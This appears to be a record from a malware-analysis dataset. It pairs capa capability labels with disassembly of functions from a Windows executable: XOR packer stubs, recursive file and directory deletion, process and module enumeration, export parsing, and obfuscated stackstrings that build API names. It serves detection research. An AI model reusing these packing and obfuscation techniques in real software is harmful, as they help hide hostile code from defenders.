joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e54
nop
mov ecx, 0x7dfc26ee
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0xd581b27
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x41416e
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
movzx edx, word [ecx + 6]
movzx eax, word [ecx + 0x14]
push ebx
push edi
sub edi, edi
lea eax, [eax + ecx + 0x18]
or edx, edx
je 0x4141a4
mov ecx, dword [eax + 0xc]
lea ebx, [ecx + esi]
cmp dword [ebp + 8], ebx
jb 0x41419c
mov ebx, dword [eax + 8]
add ebx, ecx
add ebx, esi
cmp dword [ebp + 8], ebx
jb 0x4141a6
sub eax, 0xffffffd8
inc edi
cmp edi, edx
jb 0x414185
sub eax, eax
pop edi
pop ebx
pop ebp
ret 4

Function at 0x4149b4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push edi
push eax
pop edi
mov eax, dword [edi + 0x1a8]
cmp dword [eax], 0
jne 0x4149cf
sub eax, eax
jmp 0x414aff
push 0x2c
push dword [ebp + 8]
call fcn.00414779
mov edx, dword [edi + 0x1ac]
lea eax, [edi + 0x22]
mov dword [ebp - 0x4c], eax
lea eax, [edi + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [edi + 0x66]
mov dword [ebp - 0x44], eax
lea eax, [edi + 0x88]
mov dword [ebp - 0x40], eax
lea eax, [edi + 0xaa]
mov dword [ebp - 0x3c], eax
lea eax, [edi + 0xcc]
mov dword [ebp - 0x38], eax
lea eax, [edi + 0xee]
mov dword [ebp - 0x34], eax
lea eax, [edi + 0x110]
mov dword [ebp - 0x30], eax
lea eax, [edi + 0x132]
mov dword [ebp - 0x2c], eax
lea eax, [edi + 0x154]
push edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x28], eax
call fcn.00414b33
push eax
mov eax, dword [edi + 0x1a8]
push dword [eax]
call fcn.004147d5
mov dword [ebp - 0x10], eax
or eax, eax
je 0x414aff
mov ecx, dword [eax + 0x3c]
push ebx
push esi
mov esi, dword [ecx + eax + 0x78]
add esi, eax
mov edi, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
mov edx, dword [esi + 0x20]
mov ebx, dword [esi + 0x18]
add edi, eax
mov dword [ebp - 0x20], edi
mov edi, dword [esi + 0x14]
add ecx, eax
add edx, eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 8], edi
cmp edi, ebx
ja 0x414a85
mov dword [ebp - 8], ebx
sub ebx, ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 8], ebx
jbe 0x414afd
jmp 0x414a94
mov edx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
movzx edi, word [edi + ebx*2]
cmp ebx, dword [esi + 0x18]
jae 0x414afd
cmp edi, dword [esi + 0x14]
jae 0x414afd
mov ebx, dword [edx + ebx*4]
mov edx, dword [ebp + 8]
mov edi, dword [ecx + edi*4]
mov dword [ebp - 4], edx
lea edx, [ebp - 0x50]
add ebx, eax
add edi, eax
sub edx, dword [ebp + 8]
mov dword [ebp - 0x14], 0xb
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 4]
cmp dword [edx], 0
jne 0x414ae8
mov eax, dword [ebp - 0x24]
push dword [eax + edx]
push ebx
call fcn.004148cf
mov ecx, dword [ebp - 0xc]
or eax, eax
je 0x414ae5
mov eax, dword [ebp - 4]
mov dword [eax], edi
mov eax, dword [ebp - 0x10]
add dword [ebp - 4], 4
dec dword [ebp - 0x14]
jne 0x414ac5
mov ebx, dword [ebp - 0x18]
inc ebx
mov dword [ebp - 0x18], ebx
cmp ebx, dword [ebp - 8]
jb 0x414a91
pop esi
pop ebx
pop edi
leave
ret 4
Function at 0x4019a1
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
sub esp, 0x254
push ebx
push ebp
push esi
mov esi, ecx
push edi
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edi, [esi + eax*2]
push 0x408290
push edi
call ebp
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
and word [edi], bx
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x4019ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401aa7
lea eax, [esp + 0x40]
push 0x40828c
push eax
call dword [sym.imp.MSVCRT.dll_wcscmp]
pop ecx
test eax, eax
pop ecx
je 0x401a5a
lea eax, [esp + 0x40]
push 0x408284
push eax
call dword [sym.imp.MSVCRT.dll_wcscmp]
pop ecx
test eax, eax
pop ecx
je 0x401a5a
lea eax, [esp + 0x40]
push eax
push edi
call ebp
test byte [esp + 0x14], 0x10
je 0x401a3a
push 0x408248
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.004019a1
jmp 0x401a54
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401a56
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x401a80
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4019ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 0x12
jne 0x401a80
xor ebx, ebx
push dword [esp + 0x10]
and word [edi], 0
call dword [sym.imp.KERNEL32.dll_FindClose]
test ebx, ebx
jne 0x401aa5
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x401aa5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x254
ret

Function at 0x403cb4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
xor esi, esi
mov edx, 0x409040
mov ecx, 0x409440
push 8
mov eax, esi
pop edi
mov ebx, eax
and ebx, 1
neg ebx
and ebx, 0xedb88320
shr eax, 1
xor eax, ebx
dec edi
jne 0x403cc8
mov dword [edx], eax
add edx, 4
inc esi
cmp edx, ecx
jb 0x403cc3
pop edi
pop esi
pop ebx
mov eax, dword [ecx - 0x400]
mov edx, eax
and edx, 0xff
shr eax, 8
mov edx, dword [edx*4 + 0x409040]
xor edx, eax
mov dword [ecx], edx
add ecx, 4
cmp ecx, 0x40b040
jb 0x403ce9
mov eax, 0x403d20
mov dword [0x40b040], eax
mov dword [0x409030], eax
ret
Function at 0x403e8b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], edx
mov ebx, ecx
mov edi, dword [esi]
and dword [esi], 0
test edi, edi
je 0x403ee4
mov eax, 0x400000
cmp edi, eax
ja 0x403eae
mov eax, edi
lea ecx, [ebp + 8]
push 0
and dword [ebp + 8], 0
push ecx
push eax
push dword [ebp - 4]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 8]
add dword [ebp - 4], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x403edc
test ecx, ecx
je 0x403ee4
test edi, edi
jbe 0x403ee4
jmp 0x403ea3
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403ee6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403eed
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], edx
mov ebx, ecx
mov edi, dword [esi]
and dword [esi], 0
test edi, edi
je 0x403f46
mov eax, 0x400000
cmp edi, eax
ja 0x403f10
mov eax, edi
lea ecx, [ebp + 8]
push 0
and dword [ebp + 8], 0
push ecx
push eax
push dword [ebp - 4]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 8]
add dword [ebp - 4], ecx
add dword [esi], ecx
sub edi, ecx
test eax, eax
je 0x403f3e
test ecx, ecx
je 0x403f46
test edi, edi
jbe 0x403f46
jmp 0x403f05
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403f48
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40544e
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
push esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x40548e
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40548e
push 0xc00
call eax
test eax, eax
jne 0x40551b
lea eax, [ebp - 0x2d0]
push 0x106
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40551b
cmp eax, 0x104
ja 0x40551b
cmp word [ebp + eax*2 - 0x2d2], 0x5c
je 0x4054c1
mov word [ebp + eax*2 - 0x2d0], 0x5c
inc eax
mov esi, dword [str.userenv]
cmp byte [esi], 0
je 0x40551b
push edi
lea edi, [ebp + eax*2 - 0x2d0]
mov eax, edi
mov cl, byte [esi]
inc esi
test cl, cl
je 0x4054e8
movzx cx, cl
mov word [eax], cx
inc eax
inc eax
jmp 0x4054d6
and word [eax + 8], 0
mov word [eax], 0x2e
mov word [eax + 2], 0x64
mov word [eax + 4], 0x6c
mov word [eax + 6], 0x6c
push 8
lea eax, [ebp - 0x2d0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp byte [esi], 0
jne 0x4054d4
pop edi
pop esi
leave
ret
Function at 0x423060
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.0040fce0
mov eax, dword [0x42dbf8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xffffff
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 0
lea ecx, [ebp - 0x414]
push ecx
push 0x400
lea edx, [ebp - 0x1418]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4231e5
mov dword [ebp - 0x141c], 0
jmp 0x4230d3
mov eax, dword [ebp - 0x141c]
add eax, 1
mov dword [ebp - 0x141c], eax
mov ecx, dword [ebp - 0x414]
shr ecx, 2
cmp dword [ebp - 0x141c], ecx
jae 0x4231e5
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1420], eax
cmp dword [ebp - 0x1420], 0
je 0x4231d3
lea ecx, [ebp - 0x1428]
push ecx
push 4
lea edx, [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4231d3
push 0x400
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x1424]
push edx
mov eax, dword [ebp - 0x1420]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x410]
push edx
mov ecx, dword [ebp - 0x142c]
call fcn.00422990
movzx eax, al
test eax, eax
je 0x4231d3
cmp dword [ebp - 0x418], 0x34000
jne 0x4231d3
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x141c]
mov eax, dword [ebp + edx*4 - 0x1418]
cmp eax, dword [ebp - 4]
jae 0x4231ba
mov ecx, dword [ebp - 0x141c]
mov edx, dword [ebp + ecx*4 - 0x1418]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x141c]
mov ecx, dword [ebp + eax*4 - 0x1418]
push ecx
mov ecx, dword [ebp - 0x142c]
call fcn.00422940
mov edx, dword [ebp - 0x1420]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4230c4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 4], eax
jne 0x4231fd
mov eax, dword [ebp - 0x142c]
mov byte [eax + 0x1580], 1
cmp dword [ebp - 8], 4
jge 0x42320e
mov ecx, dword [ebp - 0x142c]
call fcn.00422cb0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040e454
mov esp, ebp
pop ebp
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x3f880270
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x11c96e26
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x404c20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0xc], 0
call fcn.004045b0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404d7a
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x24], 0x6d
mov edx, 1
imul eax, edx, 0x12
mov byte [ebp + eax - 0x24], 0x45
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x24], 0x69
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x24], 0x6e
mov ecx, 1
imul edx, ecx, 0xa
mov byte [ebp + edx - 0x24], 0x43
mov eax, 1
imul ecx, eax, 0x11
mov byte [ebp + ecx - 0x24], 0x73
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x24], 0x74
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x24], 0x49
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x24], 0x43
mov ecx, 1
imul edx, ecx, 0xe
mov byte [ebp + edx - 0x24], 0x72
mov eax, 1
shl eax, 4
mov byte [ebp + eax - 0x24], 0x6c
mov ecx, 1
imul edx, ecx, 0xb
mov byte [ebp + edx - 0x24], 0x6f
mov eax, 1
imul ecx, eax, 0xf
mov byte [ebp + ecx - 0x24], 0x6f
mov edx, 1
imul eax, edx, 0x13
mov byte [ebp + eax - 0x24], 0x78
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x24], 0x6d
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x24], 0x6f
mov ecx, 1
imul edx, ecx, 0xd
mov byte [ebp + edx - 0x24], 0x74
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x24], 0x6e
mov edx, 1
imul eax, edx, 5
mov byte [ebp + eax - 0x24], 0x6f
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x24], 0x6e
mov edx, 1
imul eax, edx, 0x14
mov byte [ebp + eax - 0x24], 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404d70
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x404d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0xc], 0
call fcn.004046b0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404fb0
mov eax, 1
imul ecx, eax, 0x15
mov byte [ebp + ecx - 0x30], 0x64
mov edx, 1
imul eax, edx, 9
mov byte [ebp + eax - 0x30], 0x76
mov ecx, 1
imul edx, ecx, 0x17
mov byte [ebp + edx - 0x30], 0x6c
mov eax, 1
imul ecx, eax, 0x12
mov byte [ebp + ecx - 0x30], 0x67
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0x30], 0x65
mov ecx, 1
imul edx, ecx, 0x1d
mov byte [ebp + edx - 0x30], 0x69
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x30], 0x55
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x30], 0x74
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x30], 0x69
mov ecx, 1
imul edx, ecx, 0xc
mov byte [ebp + edx - 0x30], 0x46
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x30], 0x72
mov edx, 1
imul eax, edx, 0xb
mov byte [ebp + eax - 0x30], 0x72
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x30], 0x64
mov edx, 1
imul eax, edx, 0xf
mov byte [ebp + eax - 0x30], 0x50
mov ecx, 1
imul edx, ecx, 0x11
mov byte [ebp + edx - 0x30], 0x75
mov eax, 1
shl eax, 4
mov byte [ebp + eax - 0x30], 0x6c
mov ecx, 1
imul edx, ecx, 0x18
mov byte [ebp + edx - 0x30], 0x61
mov eax, 1
imul ecx, eax, 0x13
mov byte [ebp + ecx - 0x30], 0x41
mov edx, 1
imul eax, edx, 0x16
mov byte [ebp + eax - 0x30], 0x50
mov ecx, 1
imul edx, ecx, 0x21
mov byte [ebp + edx - 0x30], 0x57
mov eax, 1
shl eax, 5
mov byte [ebp + eax - 0x30], 0x73
mov ecx, 1
imul edx, ecx, 0x1a
mov byte [ebp + edx - 0x30], 0x44
mov eax, 1
imul ecx, eax, 0x1b
mov byte [ebp + ecx - 0x30], 0x65
mov edx, 1
imul eax, edx, 0xd
mov byte [ebp + eax - 0x30], 0x6f
mov ecx, 1
imul edx, ecx, 0xe
mov byte [ebp + edx - 0x30], 0x72
mov eax, 1
imul ecx, eax, 0x14
mov byte [ebp + ecx - 0x30], 0x6e
mov edx, 1
imul eax, edx, 5
mov byte [ebp + eax - 0x30], 0x65
mov ecx, 1
imul edx, ecx, 0x19
mov byte [ebp + edx - 0x30], 0x79
mov eax, 1
imul ecx, eax, 0x1e
mov byte [ebp + ecx - 0x30], 0x63
mov edx, 1
imul eax, edx, 0x22
mov byte [ebp + eax - 0x30], 0
mov ecx, 1
imul edx, ecx, 0x1c
mov byte [ebp + edx - 0x30], 0x76
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x30], 0x61
mov edx, 1
imul eax, edx, 0xa
mov byte [ebp + eax - 0x30], 0x65
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x30], 0x70
mov edx, 1
imul eax, edx, 6
mov byte [ebp + eax - 0x30], 0x44
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404fa6
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x404fc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0xc], 0
call fcn.00404790
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40510d
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x20], 0x64
mov edx, 1
imul eax, edx, 0x13
mov byte [ebp + eax - 0x20], 0
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x20], 0x6e
mov edx, 1
imul eax, edx, 0xf
mov byte [ebp + eax - 0x20], 0x6f
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x20], 0x6f
mov edx, 1
imul eax, edx, 0xa
mov byte [ebp + eax - 0x20], 0x6f
mov ecx, 1
imul edx, ecx, 0x11
mov byte [ebp + edx - 0x20], 0x45
mov eax, 1
shl eax, 4
mov byte [ebp + eax - 0x20], 0x6b
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x20], 0x6b
mov eax, 1
imul ecx, eax, 0xe
mov byte [ebp + ecx - 0x20], 0x6f
mov edx, 1
imul eax, edx, 0xd
mov byte [ebp + eax - 0x20], 0x48
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x20], 0x57
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x20], 0x68
mov ecx, 1
imul edx, ecx, 0xb
mov byte [ebp + edx - 0x20], 0x77
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0x20], 0x55
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x20], 0x73
mov ecx, 1
imul edx, ecx, 7
mov byte [ebp + edx - 0x20], 0x69
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x20], 0x6f
mov edx, 1
imul eax, edx, 0x12
mov byte [ebp + eax - 0x20], 0x78
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x20], 0x6e
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405103
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x405120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
call fcn.00404790
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40521e
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x1c], 0x73
mov edx, 1
imul eax, edx, 9
mov byte [ebp + eax - 0x1c], 0x67
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x1c], 0x61
mov edx, 1
imul eax, edx, 6
mov byte [ebp + eax - 0x1c], 0x73
mov ecx, 1
imul edx, ecx, 3
mov byte [ebp + edx - 0x1c], 0x74
mov eax, 1
imul ecx, eax, 0xa
mov byte [ebp + ecx - 0x1c], 0x65
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x1c], 0x73
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x1c], 0x65
mov edx, 1
imul eax, edx, 0xb
mov byte [ebp + eax - 0x1c], 0x57
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x1c], 0x50
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x1c], 0x6f
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x1c], 0x4d
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405214
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x405230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov eax, 1
imul ecx, eax, 3
mov byte [ebp + ecx - 0x18], 0x43
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x18], 0x47
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x18], 0x74
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x18], 0x6e
mov ecx, 1
imul edx, ecx, 0xa
mov byte [ebp + edx - 0x18], 0x4c
mov eax, 1
imul ecx, eax, 0xd
mov byte [ebp + ecx - 0x18], 0x65
mov edx, 1
imul eax, edx, 0xe
mov byte [ebp + eax - 0x18], 0x57
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x18], 0x6d
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x18], 0x64
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x18], 0x6e
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x18], 0x65
mov ecx, 1
imul edx, ecx, 7
mov byte [ebp + edx - 0x18], 0x61
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x18], 0x6d
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x18], 0x6f
mov eax, 1
imul ecx, eax, 0xf
mov byte [ebp + ecx - 0x18], 0
mov edx, 1
imul eax, edx, 0xb
mov byte [ebp + eax - 0x18], 0x69
lea ecx, [ebp - 0x18]
push ecx
call fcn.00404870
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40532b
call dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret